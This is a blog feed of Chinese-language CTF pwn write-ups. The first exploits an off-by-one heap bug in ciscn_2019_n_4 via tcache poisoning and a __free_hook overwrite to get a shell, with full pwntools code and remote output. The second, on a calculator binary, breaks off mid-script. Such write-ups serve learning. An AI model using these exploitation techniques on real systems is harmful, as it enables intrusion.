    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Partial RELRO</span><br><span class="line">Stack:    Canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">decoratenest</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> idx; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  idx = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( idx &lt; <span class="number">0</span> || idx &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;OOB!My Boy!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( nests[idx] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;what stuff you wanna put in the nest?&quot;</span>);</span><br><span class="line">    myread(nests[idx]-&gt;pointer, nests[idx]-&gt;size + <span class="number">1</span>);<span class="comment">// offbyone attack</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No such nest !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>漏洞发生在decoratenest函数中，在写调用<code>myread</code>写<code>nests[idx]-&gt;pointer</code>时, <code>size</code>超出<code>1 byte</code>，因此会造成<code>off by one attack</code>。</p><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p><code>gdb</code>调试后，确实是<code>libc-2.27.so</code>上的<code>off-by-one attack</code>, 有<code>t-cache</code>存在。通过<code>heap 风水</code>布局内存，形成内存<code>chunk</code>的<code>overlay</code>, 从而形成<code>Read After Free</code>以<code>leak libc</code>, <code>Write After Free</code>以修改<code>T-cache</code>链，达到任意地址写。</p><p>将<code>libc.sym.system</code>写入<code>__free_hook</code>,将<code>/bin/sh\x00</code>写入某<code>chunk</code>,最后<code>free</code>该<code>chunk</code>，即可<code>get shell</code>.</p><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;bin&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"><span class="comment"># context.log_level = &#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"># set breakpoint pending on</span></span><br><span class="line"><span class="string"># b system</span></span><br><span class="line"><span class="string"># b *__free_hook</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        <span class="keyword">return</span> gdb.debug(elf.path, gdbscript=gs)</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">28213</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line">sla = <span class="keyword">lambda</span> x,ctn: io.sendlineafter(x, ctn)</span><br><span class="line">sa = <span class="keyword">lambda</span> x, value: io.sendafter(x, value)</span><br><span class="line"></span><br><span class="line">nestId = [<span class="number">0</span>] * <span class="number">10</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build</span>(<span class="params">full, data</span>):</span><br><span class="line">    <span class="keyword">global</span> nestId</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice :&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&quot;how big is the nest ?&quot;</span>, <span class="built_in">str</span>(full).encode())</span><br><span class="line">    sa(<span class="string">b&quot;what stuff you wanna put in the nest?&quot;</span>, data)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">id</span> = -<span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">if</span> nestId[i] == <span class="number">0</span>:</span><br><span class="line">            <span class="built_in">id</span> = i</span><br><span class="line">            nestId[i] = <span class="number">1</span></span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">id</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decorate</span>(<span class="params"><span class="built_in">id</span>, data</span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice :&#x27;</span>, <span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&quot;Index :&quot;</span>, <span class="built_in">str</span>(<span class="built_in">id</span>).encode())</span><br><span class="line">    sa(<span class="string">b&quot;what stuff you wanna put in the nest?&quot;</span>, data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice :&#x27;</span>, <span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&quot;Index :&quot;</span>, <span class="built_in">str</span>(<span class="built_in">id</span>).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Size : &quot;</span>)</span><br><span class="line">    size = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&quot;\n&quot;</span>, drop=<span class="literal">True</span>))</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Decorations : &quot;</span>)</span><br><span class="line">    data = io.recvuntil(<span class="string">b&quot;\nDone !\n&quot;</span>, drop=<span class="literal">True</span>)</span><br><span class="line">    <span class="keyword">return</span> size, data</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">crash</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    <span class="keyword">global</span> nestId</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice :&#x27;</span>, <span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">    sla(<span class="string">b&quot;Index :&quot;</span>, <span class="built_in">str</span>(<span class="built_in">id</span>).encode())</span><br><span class="line">    nestId[<span class="built_in">id</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leave</span>():</span><br><span class="line">    sla(<span class="string">b&#x27;Your choice :&#x27;</span>, <span class="string">b&#x27;5&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================================================================================</span></span><br><span class="line">io = start()</span><br><span class="line"></span><br><span class="line">io.timeout = <span class="number">3000</span> </span><br><span class="line"></span><br><span class="line">full = <span class="number">0xa0</span> - <span class="number">8</span></span><br><span class="line">half = <span class="number">0x50</span> - <span class="number">8</span></span><br><span class="line"></span><br><span class="line">A = build(<span class="number">0x18</span>, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line">B = build(<span class="number">0x18</span>, <span class="string">b&#x27;B&#x27;</span>)</span><br><span class="line"></span><br><span class="line">crash(B)</span><br><span class="line">crash(A)</span><br><span class="line"></span><br><span class="line">A = build(half, <span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line">B = build(half, <span class="string">b&#x27;B&#x27;</span>)</span><br><span class="line">C = build(half, <span class="string">b&#x27;C&#x27;</span>)</span><br><span class="line">D = build(half, <span class="string">b&#x27;D&#x27;</span>)   <span class="comment"># D的目的是保证C-size被篡改成full后，依然是和前后的chunk对齐的</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 将B，C的size给篡改成full; 从而实现：B后半覆盖C前半、C后半覆盖D </span></span><br><span class="line">decorate(A, <span class="string">b&#x27;A&#x27;</span>*half + p8(full + <span class="number">8</span> + <span class="number">1</span>))</span><br><span class="line">decorate(B, <span class="string">b&#x27;B&#x27;</span>*half + p8(full + <span class="number">8</span> + <span class="number">1</span>))</span><br><span class="line"></span><br><span class="line">crash(B)</span><br><span class="line">B = build(full, <span class="string">b&#x27;B&#x27;</span> )</span><br><span class="line"><span class="comment"># B：  </span></span><br><span class="line"></span><br><span class="line">crash(D)</span><br><span class="line"></span><br><span class="line"><span class="comment">## 填满t-cache : full</span></span><br><span class="line">fill = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    fill.append(build(full, <span class="string">b&#x27;F&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">    crash(fill[i])</span><br><span class="line"></span><br><span class="line"><span class="comment"># free C into unsorted bin</span></span><br><span class="line">crash(C)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 填充B的内容一直到C-&gt;fd，从而读出 C-&gt;fd, 该值为 &amp;main_arena-&gt;top</span></span><br><span class="line">decorate(B, <span class="string">b&#x27;B&#x27;</span>*(half+<span class="number">8</span>))</span><br><span class="line">Bsize, Bdata = show(B)</span><br><span class="line"><span class="comment"># log.info(f&quot;Bszie : &#123;Bsize&#125;, Bdata : &#123;Bdata&#125;&quot;)</span></span><br><span class="line"></span><br><span class="line">arena = u64(Bdata[half+<span class="number">8</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\0&#x27;</span>) ) - <span class="number">0x60</span></span><br><span class="line">log.success(<span class="string">f&quot;arena : <span class="subst">&#123;<span class="built_in">hex</span>(arena)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从泄露的&amp;main_arena-&gt;top计算出libc偏移</span></span><br><span class="line">libc.address = arena - (libc.sym[<span class="string">&#x27;__malloc_hook&#x27;</span>] + <span class="number">0x10</span>) <span class="comment">#&amp;main_arena = &amp;__malloc_hook + 0x10</span></span><br><span class="line"></span><br><span class="line">decorate(B, <span class="string">b&#x27;B&#x27;</span>*half + p64(half+<span class="number">8</span>+<span class="number">1</span>)) <span class="comment">#将C的chunk-size改为half + 8 + 1</span></span><br><span class="line"><span class="comment"># bins of half size: </span></span><br><span class="line"><span class="comment">#   1.  t-cache : D(size=half)</span></span><br><span class="line"><span class="comment">#   2.  unsorted-bin : C(size=half)</span></span><br><span class="line">D = build(half, <span class="string">b&#x27;D&#x27;</span>) <span class="comment">#消耗掉t-cache</span></span><br><span class="line">C = build(half, <span class="string">b&#x27;C&#x27;</span>) <span class="comment">#消耗掉unsorted-bin</span></span><br><span class="line"></span><br><span class="line">crash(D)  <span class="comment"># </span></span><br><span class="line">crash(C)  <span class="comment"># C被free进T-cache; 现在可以通过B控制T-cache中的Chunk，从而实现任意地址写。</span></span><br><span class="line">decorate(B, <span class="string">b&#x27;B&#x27;</span>*(half) + p64(half+<span class="number">8</span>+<span class="number">1</span>) + p64(libc.sym.__free_hook) )</span><br><span class="line"></span><br><span class="line">C = build(half, <span class="string">b&#x27;/bin/sh\0&#x27;</span>)</span><br><span class="line">free_hook_chunk = build(half, p64(libc.sym.system))</span><br><span class="line">crash(C)</span><br><span class="line"></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"><span class="comment">## got shell</span></span><br><span class="line">time.sleep(<span class="number">0.2</span>) <span class="comment"># wait system(sh)</span></span><br><span class="line">io.sendline(<span class="string">b&quot;cat flag&quot;</span>)</span><br><span class="line">ctn = io.recv()</span><br><span class="line">log.success(<span class="string">f&quot;flag : <span class="subst">&#123;ctn&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># io.sendline(b&quot;exit&quot;)</span></span><br><span class="line"><span class="comment"># leave()</span></span><br><span class="line">io.close()</span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python xpl.py REMOTE                                                     </span><br><span class="line">[*] &#x27;ciscn_2019_n_4/bin&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x3fe000)</span><br><span class="line">[*] &#x27;libs/2.27-3ubuntu1_amd64/libc-2.27.so&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 28213: Done</span><br><span class="line">[+] arena : 0x7f4cf5608c40</span><br><span class="line">[+] flag : b&#x27;flag&#123;af93cac8-****-4250-****-31627e1ebe9a&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 28213</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/challenges#ciscn_2019_n_4">https://buuoj.cn/challenges#ciscn_2019_n_4</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight text&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Heap Overflow" scheme="http://www.4x7.fun/tags/Heap-Overflow/"/>
    
    <category term="Off By One" scheme="http://www.4x7.fun/tags/Off-By-One/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: SECPROG calculator</title>
    <link href="http://www.4x7.fun/2022/04/17/WriteUp-SECPROG-calculator/"/>
    <id>http://www.4x7.fun/2022/04/17/WriteUp-SECPROG-calculator/</id>
    <published>2022-04-16T18:55:21.000Z</published>
    <updated>2022-04-20T03:55:57.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">╰─$ checksec calc</span><br><span class="line">[*] &#x27;pwnable_calc/calc&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure><p>注意： <code>Stack: Canary found</code>. 直接<code>stack overflow</code>会破坏<code>Canary</code>, 需要泄露<code>Canary</code>，并在<code>stack overflow</code>时，将<code>Canary</code>修复在正确的位置</p><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><p>经过分析，程序至少存在两处漏洞：</p><ul><li>a. 当开头为运算符号时，会修改<code>pool[0]</code>的值，该值作为运算时<code>pool</code>数组的下标使用，通过修改该值，获得任意地址读和任意地址写的漏洞。e.g. <code>+111111</code></li><li>b. 当运算符号为’±’、’*/%'两组交替时，会让运算符数组不断曾长，超过100时，产生栈溢出。e.g. <code>payload = b'1*2+'*100+b'1'</code></li></ul><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p>由于<code>运算符</code>中的值只能是<code>+-*/%</code>（实际上除最后一个字符外只有±），那么很难实现<code>运算符</code>溢出的利用。</p><p>因此，我们使用<code>+1111</code>形式的<code>payload</code>,通过<code>任意读</code>和<code>任意写</code>,将栈溢出脚本写入到栈中。</p><p>应注意<code>python</code>中<code>ctypes</code>的使用，进行<code>int32</code>的转换。</p><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.util <span class="keyword">import</span> misc</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> ctypes</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;bin&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;i386&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>,kernel=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"><span class="comment"># context.log_level = &#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        p = process(elf.path)</span><br><span class="line">        cmd = [<span class="string">&quot;gdb&quot;</span>, <span class="string">&quot;-p&quot;</span>, <span class="built_in">str</span>(p.pid)]</span><br><span class="line">        cmd = context.terminal + cmd</span><br><span class="line">        cmd = <span class="string">&#x27; &#x27;</span>.join(cmd) </span><br><span class="line">        os.system(cmd)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">return</span> p</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">28496</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak</span>(<span class="params">payload</span>):</span><br><span class="line">    io.sendline(payload)</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line">    result = <span class="built_in">int</span>(ctn[:-<span class="number">1</span>], <span class="number">10</span>) &amp; <span class="number">0xffffffff</span></span><br><span class="line">    <span class="keyword">return</span> ctypes.c_int32(result).value</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write</span>(<span class="params">addr_offset, value</span>):</span><br><span class="line">    <span class="comment">## 1. addr_offset 地址中的值</span></span><br><span class="line">    payload_lk = <span class="string">f&quot;+<span class="subst">&#123;addr_offset&#125;</span>&quot;</span>.encode()</span><br><span class="line">    old_value = leak(payload_lk)</span><br><span class="line"></span><br><span class="line">    <span class="comment">## 2. 将新值写入</span></span><br><span class="line">    <span class="comment"># value = ctypes.c_int32(value).value</span></span><br><span class="line">    payload = <span class="string">f&quot;+<span class="subst">&#123;addr_offset&#125;</span>&quot;</span> <span class="comment">#pool[0] = addr_offset, pool[1] = addr_offset</span></span><br><span class="line">    <span class="comment"># 使用+, - 实现最终pool[addr_offset]中的值为value, 因此计算addr_offset和value的差值</span></span><br><span class="line">    <span class="keyword">if</span> old_value == value:</span><br><span class="line">        <span class="keyword">return</span> </span><br><span class="line">    <span class="keyword">elif</span> old_value &lt; value:</span><br><span class="line">        payload += <span class="string">f&quot;+<span class="subst">&#123;value - old_value&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload += <span class="string">f&quot;-<span class="subst">&#123;old_value - value&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    io.sendline(payload.encode())</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line"></span><br><span class="line">    now_value = leak(payload_lk)</span><br><span class="line">    <span class="keyword">if</span> now_value != value:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;write failed: <span class="subst">&#123;addr_offset&#125;</span> <span class="subst">&#123;value&#125;</span> <span class="subst">&#123;now_value&#125;</span>&quot;</span>)</span><br><span class="line">        exit(<span class="number">1</span>)</span><br><span class="line">    </span><br><span class="line"><span class="comment">#--------- Process Interactive ---------------------</span></span><br><span class="line"></span><br><span class="line">io = 